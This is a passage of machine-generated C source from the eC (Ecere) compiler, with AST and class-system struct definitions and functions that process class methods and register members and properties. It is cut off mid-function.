address; unsigned int hasAddress; struct Type * expType; struct Type * destType; unsigned int usage; int tempCount; unsigned int byReference; unsigned int isConstant; unsigned int addedThis; unsigned int needCast; unsigned int thisPtr; unsigned int opDestType; unsigned int usedInComparison; unsigned int ambiguousUnits; unsigned int parentOpDestType; unsigned int needTemplateCast; } ecere_gcc_struct; struct Operand; struct OpTable { unsigned int (* Add)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* Sub)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* Mul)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* Div)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* Mod)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* Neg)(struct Expression *, struct Operand *); unsigned int (* Inc)(struct Expression *, struct Operand *); unsigned int (* Dec)(struct Expression *, struct Operand *); unsigned int (* Asign)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* AddAsign)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* SubAsign)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* MulAsign)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* DivAsign)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* ModAsign)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* BitAnd)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* BitOr)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* BitXor)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* LShift)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* RShift)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* BitNot)(struct Expression *, struct Operand *); unsigned int (* AndAsign)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* OrAsign)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* XorAsign)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* LShiftAsign)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* RShiftAsign)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* Not)(struct Expression *, struct Operand *); unsigned int (* Equ)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* Nqu)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* And)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* Or)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* Grt)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* Sma)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* GrtEqu)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* SmaEqu)(struct Expression *, struct Operand *, struct Operand *); unsigned int (* Cond)(struct Expression *, struct Operand *, struct Operand *, struct Operand *); } ecere_gcc_struct; struct Operand { int kind; struct Type * type; unsigned int ptrSize; union { char c; unsigned char uc; short s; unsigned short us; int i; unsigned int ui; float f; double d; long long i64; uint64 ui64; } ecere_gcc_struct __anon1; struct OpTable ops; } ecere_gcc_struct; extern struct Operand GetOperand(struct Expression * exp); struct __ecereNameSpace__ecere__sys__BinaryTree; struct __ecereNameSpace__ecere__sys__BinaryTree { struct __ecereNameSpace__ecere__sys__BTNode * root; int count; int (* CompareKey)(struct __ecereNameSpace__ecere__sys__BinaryTree * tree, uintptr_t a, uintptr_t b); void (* FreeKey)(void * key); } ecere_gcc_struct; void __ecereMethod___ecereNameSpace__ecere__sys__BinaryTree_Remove(struct __ecereNameSpace__ecere__sys__BinaryTree * this, struct __ecereNameSpace__ecere__sys__BTNode * node); struct __ecereNameSpace__ecere__sys__BTNode * __ecereProp___ecereNameSpace__ecere__sys__BinaryTree_Get_first(struct __ecereNameSpace__ecere__sys__BinaryTree * this); struct TemplateParameter; struct Specifier { struct Specifier * prev; struct Specifier * next; struct Location loc; int type; union { int specifier; struct { struct ExtDecl * extDecl; char * name; struct Symbol * symbol; struct __ecereNameSpace__ecere__sys__OldList * templateArgs; struct Specifier * nsSpec; } ecere_gcc_struct __anon1; struct { struct Identifier * id; struct __ecereNameSpace__ecere__sys__OldList * list; struct __ecereNameSpace__ecere__sys__OldList * baseSpecs; struct __ecereNameSpace__ecere__sys__OldList * definitions; unsigned int addNameSpace; struct Context * ctx; struct ExtDecl * extDeclStruct; } ecere_gcc_struct __anon2; struct Expression * expression; struct Specifier * _class; struct TemplateParameter * templateParameter; } ecere_gcc_struct __anon1; } ecere_gcc_struct; struct Type { struct Type * prev; struct Type * next; int refCount; union { struct Symbol * _class; struct { struct __ecereNameSpace__ecere__sys__OldList members; char * enumName; } ecere_gcc_struct __anon1; struct { struct Type * returnType; struct __ecereNameSpace__ecere__sys__OldList params; struct Symbol * thisClass; unsigned int staticMethod; struct TemplateParameter * thisClassTemplate; } ecere_gcc_struct __anon2; struct { struct __ecereNameSpace__ecere__com__Method * method; struct __ecereNameSpace__ecere__com__Class * methodClass; struct __ecereNameSpace__ecere__com__Class * usedClass; } ecere_gcc_struct __anon3; struct { struct Type * arrayType; int arraySize; struct Expression * arraySizeExp; unsigned int freeExp; struct Symbol * enumClass; } ecere_gcc_struct __anon4; struct Type * type; struct TemplateParameter * templateParameter; } ecere_gcc_struct __anon1; int kind; unsigned int size; char * name; char * typeName; struct __ecereNameSpace__ecere__com__Class * thisClassFrom; int promotedFrom; int classObjectType; int alignment; unsigned int offset; int bitFieldCount; int count; int bitMemberSize; unsigned int isSigned : 1; unsigned int constant : 1; unsigned int truth : 1; unsigned int byReference : 1; unsigned int extraParam : 1; unsigned int directClassAccess : 1; unsigned int computing : 1; unsigned int keepCast : 1; unsigned int passAsTemplate : 1; unsigned int dllExport : 1; unsigned int attrStdcall : 1; unsigned int declaredWithStruct : 1; unsigned int typedByReference : 1; unsigned int casted : 1; unsigned int pointerAlignment : 1; unsigned int isLong : 1; unsigned int signedBeforePromotion : 1; unsigned int isVector : 1; } ecere_gcc_struct; unsigned int __ecereProp_Type_Get_isPointerTypeSize(struct Type * this); unsigned int __ecereProp_Type_Get_isPointerType(struct Type * this); struct __ecereNameSpace__ecere__com__Module; extern struct __ecereNameSpace__ecere__com__Property * __ecereNameSpace__ecere__com__eClass_FindProperty(struct __ecereNameSpace__ecere__com__Class * _class, const char * name, struct __ecereNameSpace__ecere__com__Instance * module); extern struct __ecereNameSpace__ecere__com__Instance * privateModule; extern struct __ecereNameSpace__ecere__com__Class * __ecereNameSpace__ecere__com__eSystem_FindClass(struct __ecereNameSpace__ecere__com__Instance * module, const char * name); extern struct __ecereNameSpace__ecere__com__GlobalFunction * __ecereNameSpace__ecere__com__eSystem_RegisterFunction(const char * name, const char * type, void * func, struct __ecereNameSpace__ecere__com__Instance * module, int declMode); extern struct __ecereNameSpace__ecere__com__Class * __ecereNameSpace__ecere__com__eSystem_RegisterClass(int type, const char * name, const char * baseName, int size, int sizeClass, unsigned int (* Constructor)(void * ), void (* Destructor)(void * ), struct __ecereNameSpace__ecere__com__Instance * module, int declMode, int inheritanceAccess); extern struct __ecereNameSpace__ecere__com__Instance * __thisModule; struct __ecereNameSpace__ecere__com__DataMember; struct __ecereNameSpace__ecere__com__ClassTemplateArgument { union { struct { const char * dataTypeString; struct __ecereNameSpace__ecere__com__Class * dataTypeClass; } ecere_gcc_struct __anon1; struct __ecereNameSpace__ecere__com__DataValue expression; struct { const char * memberString; union { struct __ecereNameSpace__ecere__com__DataMember * member; struct __ecereNameSpace__ecere__com__Property * prop; struct __ecereNameSpace__ecere__com__Method * method; } ecere_gcc_struct __anon1; } ecere_gcc_struct __anon2; } ecere_gcc_struct __anon1; } ecere_gcc_struct; struct __ecereNameSpace__ecere__com__DataMember { struct __ecereNameSpace__ecere__com__DataMember * prev; struct __ecereNameSpace__ecere__com__DataMember * next; const char * name; unsigned int isProperty; int memberAccess; int id; struct __ecereNameSpace__ecere__com__Class * _class; const char * dataTypeString; struct __ecereNameSpace__ecere__com__Class * dataTypeClass; struct Type * dataType; int type; int offset; int memberID; struct __ecereNameSpace__ecere__sys__OldList members; struct __ecereNameSpace__ecere__sys__BinaryTree membersAlpha; int memberOffset; short structAlignment; short pointerAlignment; } ecere_gcc_struct; extern struct __ecereNameSpace__ecere__com__ClassTemplateArgument * FindTemplateArg(struct __ecereNameSpace__ecere__com__Class * _class, struct TemplateParameter * param); struct __ecereNameSpace__ecere__com__BitMember; struct __ecereNameSpace__ecere__com__BitMember { struct __ecereNameSpace__ecere__com__BitMember * prev; struct __ecereNameSpace__ecere__com__BitMember * next; const char * name; unsigned int isProperty; int memberAccess; int id; struct __ecereNameSpace__ecere__com__Class * _class; const char * dataTypeString; struct __ecereNameSpace__ecere__com__Class * dataTypeClass; struct Type * dataType; int type; int size; int pos; uint64 mask; } ecere_gcc_struct; struct __ecereNameSpace__ecere__com__ClassProperty; struct __ecereNameSpace__ecere__com__ClassProperty { const char * name; struct __ecereNameSpace__ecere__com__ClassProperty * parent; struct __ecereNameSpace__ecere__com__ClassProperty * left; struct __ecereNameSpace__ecere__com__ClassProperty * right; int depth; void (* Set)(struct __ecereNameSpace__ecere__com__Class *, long long); long long (* Get)(struct __ecereNameSpace__ecere__com__Class *); const char * dataTypeString; struct Type * dataType; unsigned int constant; } ecere_gcc_struct; struct ClassDefinition; struct External { struct External * prev; struct External * next; struct Location loc; int type; struct Symbol * symbol; union { struct FunctionDefinition * function; struct ClassDefinition * _class; struct Declaration * declaration; char * importString; struct Identifier * id; struct DBTableDef * table; } ecere_gcc_struct __anon1; int importType; struct External * fwdDecl; struct __ecereNameSpace__ecere__com__Instance * outgoing; struct __ecereNameSpace__ecere__com__Instance * incoming; int nonBreakableIncoming; } ecere_gcc_struct; struct Context { struct Context * parent; struct __ecereNameSpace__ecere__sys__BinaryTree types; struct __ecereNameSpace__ecere__sys__BinaryTree classes; struct __ecereNameSpace__ecere__sys__BinaryTree symbols; struct __ecereNameSpace__ecere__sys__BinaryTree structSymbols; int nextID; int simpleID; struct __ecereNameSpace__ecere__sys__BinaryTree templateTypes; struct ClassDefinition * classDef; unsigned int templateTypesOnly; unsigned int hasNameSpace; } ecere_gcc_struct; struct ClassDefinition { struct ClassDefinition * prev; struct ClassDefinition * next; struct Location loc; struct Specifier * _class; struct __ecereNameSpace__ecere__sys__OldList * baseSpecs; struct __ecereNameSpace__ecere__sys__OldList * definitions; struct Symbol * symbol; struct Location blockStart; struct Location nameLoc; int declMode; unsigned int deleteWatchable; } ecere_gcc_struct; void __ecereMethod_External_CreateUniqueEdge(struct External * this, struct External * from, unsigned int soft); struct Enumerator; struct Enumerator { struct Enumerator * prev; struct Enumerator * next; struct Location loc; struct Identifier * id; struct Expression * exp; } ecere_gcc_struct; struct TemplateArgument; struct TemplateParameter { struct TemplateParameter * prev; struct TemplateParameter * next; struct Location loc; int type; struct Identifier * identifier; union { struct TemplateDatatype * dataType; int memberType; } ecere_gcc_struct __anon1; struct TemplateArgument * defaultArgument; const char * dataTypeString; struct Type * baseType; } ecere_gcc_struct; struct TemplateArgument { struct TemplateArgument * prev; struct TemplateArgument * next; struct Location loc; struct Identifier * name; int type; union { struct Expression * expression; struct Identifier * identifier; struct TemplateDatatype * templateDatatype; } ecere_gcc_struct __anon1; } ecere_gcc_struct; struct ClassDef; typedef union YYSTYPE { int specifierType; int i; int declMode; struct Identifier * id; struct Expression * exp; struct Specifier * specifier; struct __ecereNameSpace__ecere__sys__OldList * list; struct Enumerator * enumerator; struct Declarator * declarator; struct Pointer * pointer; struct Initializer * initializer; struct InitDeclarator * initDeclarator; struct TypeName * typeName; struct Declaration * declaration; struct Statement * stmt; struct FunctionDefinition * function; struct External * external; struct Context * context; struct AsmField * asmField; struct Attrib * attrib; struct ExtDecl * extDecl; struct Attribute * attribute; struct Instantiation * instance; struct MembersInit * membersInit; struct MemberInit * memberInit; struct ClassFunction * classFunction; struct ClassDefinition * _class; struct ClassDef * classDef; struct PropertyDef * prop; char * string; struct Symbol * symbol; struct PropertyWatch * propertyWatch; struct TemplateParameter * templateParameter; struct TemplateArgument * templateArgument; struct TemplateDatatype * templateDatatype; struct DBTableEntry * dbtableEntry; struct DBIndexItem * dbindexItem; struct DBTableDef * dbtableDef; } ecere_gcc_struct YYSTYPE; extern YYSTYPE yylval; struct ClassDef { struct ClassDef * prev; struct ClassDef * next; struct Location loc; int type; union { struct Declaration * decl; struct ClassFunction * function; struct __ecereNameSpace__ecere__sys__OldList * defProperties; struct PropertyDef * propertyDef; struct PropertyWatch * propertyWatch; char * designer; struct Identifier * defaultProperty; struct { struct Identifier * id; struct Initializer * initializer; } ecere_gcc_struct __anon1; } ecere_gcc_struct __anon1; int memberAccess; void * object; } ecere_gcc_struct; extern struct ClassDef * MkClassDefFunction(struct ClassFunction * function); struct __ecereNameSpace__ecere__com__NameSpace; struct __ecereNameSpace__ecere__com__NameSpace { const char * name; struct __ecereNameSpace__ecere__com__NameSpace * btParent; struct __ecereNameSpace__ecere__com__NameSpace * left; struct __ecereNameSpace__ecere__com__NameSpace * right; int depth; struct __ecereNameSpace__ecere__com__NameSpace * parent; struct __ecereNameSpace__ecere__sys__BinaryTree nameSpaces; struct __ecereNameSpace__ecere__sys__BinaryTree classes; struct __ecereNameSpace__ecere__sys__BinaryTree defines; struct __ecereNameSpace__ecere__sys__BinaryTree functions; } ecere_gcc_struct; struct __ecereNameSpace__ecere__com__Class { struct __ecereNameSpace__ecere__com__Class * prev; struct __ecereNameSpace__ecere__com__Class * next; const char * name; int offset; int structSize; void * * _vTbl; int vTblSize; unsigned int (* Constructor)(void * ); void (* Destructor)(void * ); int offsetClass; int sizeClass; struct __ecereNameSpace__ecere__com__Class * base; struct __ecereNameSpace__ecere__sys__BinaryTree methods; struct __ecereNameSpace__ecere__sys__BinaryTree members; struct __ecereNameSpace__ecere__sys__BinaryTree prop; struct __ecereNameSpace__ecere__sys__OldList membersAndProperties; struct __ecereNameSpace__ecere__sys__BinaryTree classProperties; struct __ecereNameSpace__ecere__sys__OldList derivatives; int memberID; int startMemberID; int type; struct __ecereNameSpace__ecere__com__Instance * module; struct __ecereNameSpace__ecere__com__NameSpace * nameSpace; const char * dataTypeString; struct Type * dataType; int typeSize; int defaultAlignment; void (* Initialize)(); int memberOffset; struct __ecereNameSpace__ecere__sys__OldList selfWatchers; const char * designerClass; unsigned int noExpansion; const char * defaultProperty; unsigned int comRedefinition; int count; int isRemote; unsigned int internalDecl; void * data; unsigned int computeSize; short structAlignment; short pointerAlignment; int destructionWatchOffset; unsigned int fixed; struct __ecereNameSpace__ecere__sys__OldList delayedCPValues; int inheritanceAccess; const char * fullName; void * symbol; struct __ecereNameSpace__ecere__sys__OldList conversions; struct __ecereNameSpace__ecere__sys__OldList templateParams; struct __ecereNameSpace__ecere__com__ClassTemplateArgument * templateArgs; struct __ecereNameSpace__ecere__com__Class * templateClass; struct __ecereNameSpace__ecere__sys__OldList templatized; int numParams; unsigned int isInstanceClass; unsigned int byValueSystemClass; } ecere_gcc_struct; struct __ecereNameSpace__ecere__com__Application { int argc; const char * * argv; int exitCode; unsigned int isGUIApp; struct __ecereNameSpace__ecere__sys__OldList allModules; char * parsedCommand; struct __ecereNameSpace__ecere__com__NameSpace systemNameSpace; } ecere_gcc_struct; void GetNameSpaceString(struct __ecereNameSpace__ecere__com__NameSpace * ns, char * string) { if(ns->parent) GetNameSpaceString(ns->parent, string); if(ns->name) { strcat(string, ns->name); strcat(string, "::"); } } static struct __ecereNameSpace__ecere__com__Class * __ecereClass_ClassPropertyValue; struct External * ProcessClassFunction(struct __ecereNameSpace__ecere__com__Class * owningClass, struct ClassFunction * func, struct __ecereNameSpace__ecere__sys__OldList * defs, struct External * after, unsigned int makeStatic) { struct Type * type = (((void *)0)); struct Symbol * symbol; struct External * external = (((void *)0)); if(defs && func->declarator) { struct FunctionDefinition * function = (((void *)0)); struct Symbol * propSymbol; if(inCompiler) { if(!func->specifiers) func->specifiers = MkList(); if(makeStatic) { struct Specifier * s; for(s = (*func->specifiers).first; s; s = s->next) if(s->type == 0 && s->__anon1.specifier == STATIC) break; if(!s) __ecereMethod___ecereNameSpace__ecere__sys__OldList_Insert((&*func->specifiers), (((void *)0)), MkSpecifier(STATIC)); } } propSymbol = func->declarator->symbol; ReplaceThisClassSpecifiers(func->specifiers, owningClass); if(propSymbol->__anon2.__anon2.externalGet == (struct External *)func) func->declarator->symbol = (((void *)0)); else if(propSymbol->__anon2.__anon2.externalSet == (struct External *)func) func->declarator->symbol = (((void *)0)); else if(propSymbol->__anon2.__anon2.externalIsSet == (struct External *)func) func->declarator->symbol = (((void *)0)); { function = _MkFunction(func->specifiers, func->declarator, (((void *)0)), 0); function->propSet = func->propSet; function->type = func->type; if(func->type) func->type->refCount++; ProcessFunctionBody(function, func->body); external = MkExternalFunction(function); external->symbol = func->declarator->symbol; external->__anon1.function->_class = func->_class; } symbol = func->declarator->symbol; if(!func->dontMangle) { struct __ecereNameSpace__ecere__com__Method * method = func->declarator->symbol->__anon1.method; func->declarator->symbol->__anon2.__anon3.methodExternal = external; if(method && method->symbol) ((struct Symbol *)method->symbol)->__anon2.__anon3.methodCodeExternal = external; if(method && method->type == 1) { struct Type * methodDataType; ProcessMethodType(method); methodDataType = method->dataType; type = symbol->type; if(!type->__anon1.__anon2.staticMethod && !type->__anon1.__anon2.thisClass && !type->__anon1.__anon2.thisClassTemplate) { if(method->dataType->__anon1.__anon2.thisClassTemplate) { if(owningClass->templateArgs) { struct __ecereNameSpace__ecere__com__ClassTemplateArgument * arg = FindTemplateArg(owningClass, method->dataType->__anon1.__anon2.thisClassTemplate); type->byReference = method->dataType->byReference; methodDataType = ProcessTypeString(method->dataTypeString, 0); type->__anon1.__anon2.thisClass = methodDataType->__anon1.__anon2.thisClass = (arg && (*arg).__anon1.__anon1.dataTypeString) ? FindClass((*arg).__anon1.__anon1.dataTypeString) : (((void *)0)); } } else if(method->dataType->__anon1.__anon2.staticMethod) type->__anon1.__anon2.staticMethod = 1; else if(method->dataType->__anon1.__anon2.thisClass) { type->__anon1.__anon2.thisClass = method->dataType->__anon1.__anon2.thisClass; type->byReference = method->dataType->byReference; } else { if(!owningClass->symbol) owningClass->symbol = FindClass(owningClass->fullName); type->__anon1.__anon2.thisClass = owningClass->symbol; type->extraParam = 1; } } yylloc = func->loc; if(!MatchTypes(type, methodDataType, (((void *)0)), owningClass, method->_class, 1, 1, 1, 0, 1)) { Compiler_Error(__ecereNameSpace__ecere__GetTranslatedString("ec", "Incompatible virtual function %s\n", (((void *)0))), method->name); } else { struct Type * typeParam; struct Declarator * funcDecl = GetFuncDecl(func->declarator); if(funcDecl->__anon1.function.parameters && (*funcDecl->__anon1.function.parameters).first) { struct TypeName * param = (*funcDecl->__anon1.function.parameters).first; for(typeParam = methodDataType->__anon1.__anon2.params.first; typeParam && param; typeParam = typeParam->next) { if(typeParam->classObjectType) { param->classObjectType = typeParam->classObjectType; if(param->declarator && param->declarator->symbol) param->declarator->symbol->type->classObjectType = typeParam->classObjectType; } param = param ? param->next : (((void *)0)); } } } if(methodDataType != method->dataType) FreeType(methodDataType); } else { type = symbol->type; if(!type->__anon1.__anon2.staticMethod && !type->__anon1.__anon2.thisClass) { if(owningClass && !owningClass->symbol) owningClass->symbol = FindClass(owningClass->fullName); type->__anon1.__anon2.thisClass = owningClass ? FindClass(owningClass->fullName) : (((void *)0)); } } } else { if(symbol->type && !symbol->type->__anon1.__anon2.staticMethod && !symbol->type->__anon1.__anon2.thisClass) { if(!owningClass->symbol) owningClass->symbol = FindClass(owningClass->fullName); symbol->type->__anon1.__anon2.thisClass = owningClass->symbol; } if(propSymbol->__anon2.__anon2.externalSet == (struct External *)func && propSymbol->__anon1._property && propSymbol->__anon1._property->conversion) { if(symbol->type->__anon1.__anon2.thisClass && symbol->type->classObjectType != 1) { if(owningClass->type != 1) symbol->type->__anon1.__anon2.thisClass = (((void *)0)); } } if(propSymbol->__anon2.__anon2.externalGet == (struct External *)func) { propSymbol->__anon2.__anon2.externalGet = external; } else if(propSymbol->__anon2.__anon2.externalSet == (struct External *)func) { propSymbol->__anon2.__anon2.externalSet = external; } else if(propSymbol->__anon2.__anon2.externalIsSet == (struct External *)func) { propSymbol->__anon2.__anon2.externalIsSet = external; } else { } } if(inCompiler) { if(func->body) { func->declarator = (((void *)0)); func->specifiers = (((void *)0)); func->body = (((void *)0)); __ecereMethod___ecereNameSpace__ecere__sys__OldList_Insert(defs, after, external); } else { struct __ecereNameSpace__ecere__com__Method * method = func->declarator->symbol->__anon1.method; if(method && method->symbol) ((struct Symbol *)method->symbol)->__anon2.__anon3.methodCodeExternal = (((void *)0)); if(func->declarator->symbol && func->declarator->symbol->__anon2.__anon3.methodExternal == external) func->declarator->symbol->__anon2.__anon3.methodExternal = (((void *)0)); func->declarator = (((void *)0)); func->specifiers = (((void *)0)); FreeExternal(external); } } else { __ecereMethod___ecereNameSpace__ecere__sys__BinaryTree_Remove(&globalContext->symbols, (struct __ecereNameSpace__ecere__sys__BTNode *)symbol); __ecereMethod___ecereNameSpace__ecere__sys__OldList_Add((&*excludedSymbols), symbol); __ecereMethod___ecereNameSpace__ecere__sys__OldList_Insert(defs, after, external); external->__anon1.function->declarator = CopyDeclarator(external->__anon1.function->declarator); external->__anon1.function->specifiers = CopyList(external->__anon1.function->specifiers, (void *)(CopySpecifier)); external->__anon1.function->body = (((void *)0)); } } return external; } void RegisterMembersAndProperties(struct __ecereNameSpace__ecere__com__Class * regClass, unsigned int isMember, const char * className, struct Statement * statement) { struct __ecereNameSpace__ecere__com__DataMember * dataMember = isMember ? (struct __ecereNameSpace__ecere__com__DataMember *)regClass : (((void *)0)); struct __ecereNameSpace__ecere__com__DataMember * member; struct __ecereNameSpace__ecere__com__Property * prop; struct Expression * exp; struct Statement * stmt; char dataMemberSize[16]; unsigned int lastOffset = 0; int privateID = 0; unsigned int privateMembers = 0; sprintf(dataMemberSize, "%d", (int)sizeof(struct __ecereNameSpace__ecere__com__DataMember *)); if(!isMember) { for(prop = regClass->conversions.first; prop; prop = prop->next) { struct __ecereNameSpace__ecere__sys__OldList * args = MkList(); char name[1024]; ListAdd(args, MkExpIdentifier(MkIdentifier(className))); ListAdd(args, MkExpConstant("0")); { char * string = QMkString(prop->dataTypeString); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } if(prop->Set) { strcpy(name, "__ecereProp_"); FullClassNameCat(name, regClass->fullName, 0); strcat(name, "_Set_"); FullClassNameCat(name, prop->name, 1); ListAdd(args, MkExpIdentifier(MkIdentifier(name))); } else ListAdd(args, MkExpConstant("0")); if(prop->Get) { strcpy(name, "__ecereProp_"); FullClassNameCat(name, regClass->fullName, 0); strcat(name, "_Get_"); FullClassNameCat(name, prop->name, 1); ListAdd(args, MkExpIdentifier(MkIdentifier(name))); } else ListAdd(args, MkExpConstant("0")); switch(prop->memberAccess) { case 3: ListAdd(args, MkExpIdentifier(MkIdentifier("staticAccess"))); break; case 2: ListAdd(args, MkExpIdentifier(MkIdentifier("privateAccess"))); break; case 1: default: ListAdd(args, MkExpIdentifier(MkIdentifier("publicAccess"))); break; } strcpy(name, "__ecereProp_"); FullClassNameCat(name, regClass->fullName, 0); strcat(name, "_"); FullClassNameCat(name, prop->name, 1); stmt = MkExpressionStmt(MkListOne(MkExpOp(MkExpIdentifier(MkIdentifier(name)), '=', MkExpCall(MkExpIdentifier(MkIdentifier("eClass_AddProperty")), args)))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); } } for(member = isMember ? dataMember->members.first : regClass->membersAndProperties.first; member; member = member->next) { if(member->isProperty) { prop = (struct __ecereNameSpace__ecere__com__Property *)member; { struct __ecereNameSpace__ecere__sys__OldList * args = MkList(); char name[1024], nameM[1024]; char * string = QMkString(prop->name); ListAdd(args, MkExpIdentifier(MkIdentifier(className))); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); { char * string = QMkString(prop->dataTypeString); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } if(prop->Set) { strcpy(name, "__ecereProp_"); FullClassNameCat(name, regClass->fullName, 0); strcat(name, "_Set_"); FullClassNameCat(name, prop->name, 1); ListAdd(args, MkExpIdentifier(MkIdentifier(name))); } else ListAdd(args, MkExpConstant("0")); if(prop->Get) { strcpy(name, "__ecereProp_"); FullClassNameCat(name, regClass->fullName, 0); strcat(name, "_Get_"); FullClassNameCat(name, prop->name, 1); ListAdd(args, MkExpIdentifier(MkIdentifier(name))); } else ListAdd(args, MkExpConstant("0")); switch(prop->memberAccess) { case 3: ListAdd(args, MkExpIdentifier(MkIdentifier("staticAccess"))); break; case 2: ListAdd(args, MkExpIdentifier(MkIdentifier("privateAccess"))); break; case 1: default: ListAdd(args, MkExpIdentifier(MkIdentifier("publicAccess"))); break; } strcpy(name, "__ecereProp_"); FullClassNameCat(name, regClass->fullName, 0); strcat(name, "_"); FullClassNameCat(name, prop->name, 1); strcpy(nameM, "__ecerePropM_"); FullClassNameCat(nameM, regClass->fullName, 0); strcat(nameM, "_"); FullClassNameCat(nameM, prop->name, 1); if(prop->dataTypeString) { stmt = MkExpressionStmt(MkListOne(MkExpOp(MkExpIdentifier(MkIdentifier(nameM)), '=', MkExpCall(MkExpIdentifier(MkIdentifier("eClass_AddProperty")), args)))); } else { stmt = MkExpressionStmt(MkListOne(MkExpCall(MkExpIdentifier(MkIdentifier("eClass_AddProperty")), args))); } ListAdd(registerModuleBody->__anon1.compound.statements, stmt); if(prop->IsSet) { char name[1024]; strcpy(name, "__ecereProp_"); FullClassNameCat(name, regClass->fullName, 1); strcat(name, "_IsSet_"); FullClassNameCat(name, prop->name, 0); stmt = MkExpressionStmt(MkListOne(MkExpOp(MkExpMember(MkExpIdentifier(MkIdentifier(nameM)), MkIdentifier("IsSet")), '=', MkExpCast(MkTypeName(MkListOne(MkSpecifier(VOID)), MkDeclaratorPointer(MkPointer((((void *)0)), (((void *)0))), (((void *)0)))), MkExpIdentifier(MkIdentifier(name)))))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); } if(prop->symbol && ((struct Symbol *)prop->symbol)->propCategory) { stmt = MkExpressionStmt(MkListOne(MkExpOp(MkExpMember(MkExpIdentifier(MkIdentifier(nameM)), MkIdentifier("category")), '=', CopyExpression(((struct Symbol *)prop->symbol)->propCategory)))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); } if(prop->dataTypeString) { struct __ecereNameSpace__ecere__sys__OldList * list = MkList(); ListAdd(list, MkExpOp(MkExpIdentifier(MkIdentifier(name)), '=', MkExpIdentifier(MkIdentifier(nameM)))); ListAdd(list, MkExpOp(MkExpIdentifier(MkIdentifier(nameM)), '=', MkExpCast(MkTypeName(MkListOne(MkSpecifier(VOID)), MkDeclaratorPointer(MkPointer((((void *)0)), (((void *)0))), (((void *)0)))), MkExpConstant("0")))); stmt = MkIfStmt(MkListOne(MkExpOp(MkExpMember(MkExpIdentifier(MkIdentifier("module")), MkIdentifier("application")), EQ_OP, MkExpMember(MkExpIdentifier(MkIdentifier("__thisModule")), MkIdentifier("application")))), MkExpressionStmt(list), (((void *)0))); ListAdd(registerModuleBody->__anon1.compound.statements, stmt); stmt = MkExpressionStmt(MkListOne(MkExpOp(MkExpIdentifier(MkIdentifier(nameM)), '=', MkExpCast(MkTypeName(MkListOne(MkSpecifier(VOID)), MkDeclaratorPointer(MkPointer((((void *)0)), (((void *)0))), (((void *)0)))), MkExpConstant("0"))))); ListAdd(unregisterModuleBody->__anon1.compound.statements, stmt); } } } else if(member->type == 0 && !isMember && regClass->type == 2) { struct __ecereNameSpace__ecere__com__BitMember * bitMember = (struct __ecereNameSpace__ecere__com__BitMember *)member; struct __ecereNameSpace__ecere__sys__OldList * args = MkList(); ListAdd(args, MkExpIdentifier(MkIdentifier(className))); { char * string = QMkString(bitMember->name); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } { char * string = QMkString(bitMember->dataTypeString); ListAdd(args, MkExpString(string)); (__ecereNameSpace__ecere__com__eSystem_Delete(string), string = 0); } { char string[256]; sprintf(string, "%d", bitMember->size); ListAdd(args, (exp = MkExpConstant(string))); } { char string[256]; sprintf(string, "%d", bitMember->pos); ListAdd(args, (exp = MkExpConstant(string))); } switch(member->memberAccess) { case 3: ListAdd(args, MkExpIdentifier(MkIdentifier("staticAccess"))); break; case 2: ListAdd(args, MkExpIdentifier(MkIdentifier("privateAccess"))); break; case 1: default: ListAdd(args, MkExpIdentifier(MkIdentifier("publicAccess"))); break; } stmt = MkExpressionStmt(MkListOne(MkExpCall(MkExpIdentifier(MkIdentifier("eClass_AddBitMember")), args))); ListAdd(statement->__anon1.compound.statements, stmt); } else if(member->memberAccess == 1 || (member->type == 0 && !member->dataTypeString)) { struct __ecereNameSpace__ecere__sys__OldList * args; if(privateMembers) { unsigned int offset = member->offset - lastOffset; args = MkList(); ListAdd(args, MkExpIdentifier(MkIdentifier(className))); { char string[200]; sprintf(string, "\"__ecerePrivateData%d\"", privateID++); ListAdd(args, MkExpString(string)); } { char string[200]; sprintf(string, "\"byte[%d]\"", offset); ListAdd(args, MkExpString(string)); } { char string[256]; sprintf(string, "%d", offset); ListAdd(args, (exp = MkExpConstant(string))); } ListAdd(args, (exp = MkExpConstant("1"))); ListAdd(args, MkExpIdentifier(MkIdentifier("privateAccess"))); stmt = MkExpressionStmt(MkListOne(MkExpCall(MkExpIdentifier(MkIdentifier(isMember ? "eMember_AddDataMember" : "eClass_AddDataMember")), args))); ListAdd(statement->__anon1.compound.statements, stmt); privateMembers = 0; } if(member->type == 0) { if(!member->dataType) member->dataType = ProcessTypeString(member->dataTypeString, 0); ComputeTypeSize(member->dataType); args = MkList(); ListAdd(args, MkExpIdentifier(MkIdentifier(className))); { char * string = QMkString(member->name); ListAdd(args, 